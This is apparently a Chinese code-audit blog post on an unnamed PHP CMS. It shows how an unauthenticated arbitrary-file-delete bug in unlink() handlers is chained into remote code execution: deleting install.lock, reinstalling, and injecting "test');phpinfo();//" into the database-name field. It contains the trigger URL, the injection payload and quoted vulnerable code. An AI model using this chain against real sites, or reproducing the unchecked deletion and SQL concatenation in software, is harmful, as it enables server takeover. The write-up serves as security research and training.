暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

CMS审计: 任意文件删除->RCE

pen4uin 2021-08-04
905

目录

  • 前言

  • 漏洞挖掘

    • 思路分享

    • 全局搜索,定位关键字

    • 判断前台洞 or 后台洞

  • 漏洞利用

    • 了解路由,构造payload

    • 验证漏洞,尝试getshell

  • 小结



前言

最近投了一些白盒审计的岗位,于是想着多看看代码,训练一下审计能力,本篇主要分享思路,至于关于系统的详细信息,文章就不大肆标注了。


下面是前段时间总结的关于“重装漏洞 -> RCE”的审计思路

  • 安装完成后,没有删除install相关文件,也没有对安装状态进行校验

  • 判断存在lock文件后,但是并没有代码执行流程并没有结束

  • 存在lock文件,且代码执行流程退出,此时可以打组合拳(任意文件删除)

文章的漏洞属于第三种。


漏洞挖掘

定向漏洞挖掘-任意文件删除

  • 全局搜索 unlink(


在该cms中一共存在5处疑似存在漏洞的代码段,特征为

  • unlink(

  • 参数可控


1. /app/controller/picture.class.php

    public function deletePic() {
    $path = ROOT_PATH.$_GET['pic'];
    unlink($path);
    $flash = M("flash");
    $row = $flash->query("delete from ".TABLEPRE."attachment where filepath='".$_GET['pic']."'");
    echo '删除成功';
    }
    复制


    2. /plugins/flash/Main.class.php

        public function flashDelPic() {
      $flash = M("flash");
      echo($flash);
      $flash->query("delete from tc_flash where photo='".$_GET['delPath']."'");
      $path =$_GET['delPath'];
      $delPath = $path;
      if (file_exists($delPath)) {
      unlink($delPath);
      exit(1);
      }
      exit(0);
      }
      复制


      3. \app\controller\kindeditor.class.php

          public function delete() {
        $path = ROOT_PATH.$_GET['pic'];
        unlink($path);
        $flash = M("flash");
        $row = $flash->query("delete from tc_flash where photo='".$_GET['pic']."'");
        echo '删除成功';
          }
        复制


        4. /app/admin/picture.class.php

          <?php
          defined('IN_ADMIN') or exit('Access Denied');
          defined('xxxx_CMS') or exit('Access Denied');


          public function deletePic() {
          $path = ROOT_PATH.$_GET['pic'];
          unlink($path);
          $flash = M("flash");
          $row = $flash->query("delete from ".TABLEPRE."attachment where filepath='".$_GET['pic']."'");
          echo '删除成功';
          }
          复制


          5. /app/admin/download.class.php

             <?php
            defined('IN_ADMIN') or exit('Access Denied');
            defined('xxxx_CMS') or exit('Access Denied');
            ... 
            public function deletePic() {
              $path = ROOT_PATH.$_GET['pic'];
              unlink($path);
              $flash = M("attachment");
              $row = $flash->query("delete from ".TABLEPRE."attachment where filepath='".$_GET['pic']."'");
              echo '删除成功';
            }
            复制


            对于现役安服仔的我来说,肯定还是比较热衷于前台洞的,但是有些情况下,拿到后台权限也可能最多刷个弱口令,这时候后台洞带来的效果也是不容小觑的。


            所以上面存在漏洞的代码段也主要分为

            • 前台

            • 文件入口处没有校验权限

            • 后台

              文件入口处判断了是否为admin


            漏洞利用

            当从代码层面找到漏洞后,怎样去触发漏洞也很重要的,我刚开始学代码审计的时候,就是很确定这儿有洞,但是就是不知道怎么触发它,现在总结其原因很简单:还是审的量不够,没到质变引起量变的那一步,就像上次团队的师傅给我的建议一样,"你看得太少了,技术栈太窄"。


            面对mvc框架的系统,看看它的开发手册,了解到它的路由是怎样实现的对构造payload就差不多了。

            该系统的路由

              # 控制器_方法,get或post传参
              index.php?ac=controller_method&param1=&param2=
              复制

              构造payload

                # 这里主要测试前台洞
                index.php?ac=picture_deletePic&pic=/x.txt
                复制



                俗话说“不想当将军的士兵不是好士兵”,那么“不能getshell的洞也不是好洞”👀

                关于漏洞任意文件删除拿shell的姿势, 目前我了解到比较成熟的有3种

                • 删除install.lock, 重装getshell

                • 删除my.php这类的数据库配置文件,重装getshell

                • 删除权限校验文件,组合需权限的文件上传漏洞getshell


                这里属于第一种,需要关注两个文件

                • /app/data/install.lock

                  • 决定是否能重装

                • /app/data/mysql.php

                  • 决定是否能getshell


                首先看一下数据库配置文件

                发现数据库名“DBNAME”应该就是我们需要找的软柿子了

                闭合情况

                  define('DBNAME', 'test');phpinfo();//;
                  复制

                  来到输入数据库配置信息的安装步骤,填入payload

                    test');phpinfo();//
                    复制


                    触发插入的payload(访问会加载mysql.php的文件即可)


                    小结

                    该系统还存在一些其他的洞,还在继续看,尝试构造出bug —> rce的完整链路。

                    文章转载自pen4uin,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                    评论